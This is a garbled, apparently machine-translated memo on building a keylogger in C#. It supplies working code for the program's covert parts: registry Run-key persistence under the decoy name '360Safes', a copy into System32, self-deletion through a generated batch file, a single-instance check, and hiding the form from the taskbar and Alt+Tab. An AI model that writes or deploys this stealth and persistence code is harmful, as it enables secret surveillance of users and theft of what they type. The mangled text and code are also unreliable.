C # key Record Program memo

As we all know, C # is not very suitable for writing such special programs. But I 'd like to share with you some of the problems encountered by C # compiling a key Record Program, hoping to help anyone who needs it.

I. boot

The most basic task is to start automatically at startup. The simple code is as follows:

You can also add four optional boot items at the same time.

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ runonce

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ runonce

Namespace using Microsoft. Win32;

       public void registryRun()        {            try            {                string s = "\""+System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)+"\"";                RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");                key1.SetValue("360Safes",s );                key1.Close();            }            catch { }        }

A key 360 safes (relatively hidden, random) is created in the Registry boot start item run, and the key value is copied to the System32 keyrecord program.

Unmount boot items:

Public void deleterun () {try {registrykey = registry. localmachine; registrykey soft = key. opensubkey (@ "SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run", true); If (isregeditkeyexist (soft, "360 safes") {MessageBox. show ("Boot item deleted! ");} Else {MessageBox. show ("this boot item does not exist");} key. close (); soft. close ();} catch {}}// Delete private bool isregeditkeyexist (registrykey regboot, string regkeyname) {try {string [] subkeynames; subkeynames = regboot if the key value exists. getvaluenames (); foreach (string keyname in subkeynames) {If (keyname = regkeyname) // judge the name of the key value {regboot. deletevalue (keyname); regboot. close (); Return true ;}} regboot. close (); Return false;} catch {return false ;}}

Ii. Processing for the first time

In the first run of the keyrecord program, you can perform several operations (replace the keyrecord program with mm.exe) and delete the running program using the generated batch file to solve the self-deletion problem.

Brief process: copy itself to system32 → generate batch processing and run → exit program → batch processing to complete deletion program, Start Program under system32 → batch processing to delete

1. Run the mm.exe program before the terminal. If it is not in the System32 folder, copy it.

     private void MoveFile()        {            try            {                if (!File.Exists(System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)))                {        File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath));              }            catch { }        }

2. Generate a batch to delete files.

During batch processing, the mm.exeaddress does not exist. If it does not exist, it will be deleted directly. You can ensure the final deletion of mm.exe. Batch processing is a piece of code executed in cmd. Using cmd to delete a BAT file will not be a problem, so the batch processing can be self-deleted.

Public static void beginkillself () {try {If (application. startuppath! = System. environment. systemdirectory) {string vbatfile = path. getdirectoryname (application. executablepath) + "\. bat "; using (streamwriter vstreamwriter = new streamwriter (vbatfile, false, encoding. default) {vstreamwriter. write (string. format (": del \ r \ n "+" Del \ "{0} \" \ r \ n "+" If exist \ "{0} \" Goto Del \ r \ n "+ "Start \" {1} \ "\ r \ n" + // start mm.exe "del % 0 \ r \ n" under system32 ", application. executablepath, system. environment. systemdirectory + "\" + system. io. path. getfilename (application. executablepath) + // Delete mm.exe "exit" // exit cmd);} winexec (vbatfile, 0); environment. exit (0) ;}} catch {}}

 

Winexec is a Windows API and its declaration is as follows:

      [DllImport("kernel32.dll")]        public static extern uint WinExec(string lpCmdLine, uint uCmdShow);

3. mm.exeexit program, batch processing to delete mm.exe

Completely exit the program

 Application.Exit();

4. batch run mm.exe under system32and delete itself.

3. Only one process instance is allowed

Check the process at startup. Exit if the program is found to be running.

      private void RunAProcessAtOnce()        {            System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(               System.Diagnostics.Process.GetCurrentProcess().ProcessName);            if (pProcesses.Length > 1)            {                Application.Exit();                return;            }        }

Iv. Complete Form hiding

Completely hide the following forms:

1. Set the showintaskbar attribute of the form to false.

Set windowstate to minimize startup

Formbordstyle is none

2.Hide the icon in Alt + Tab

Setvisiblecore

  protected override void SetVisibleCore(bool value)        {            base.SetVisibleCore(value);        }

Then, write setvisiblecore (false) in the form load event;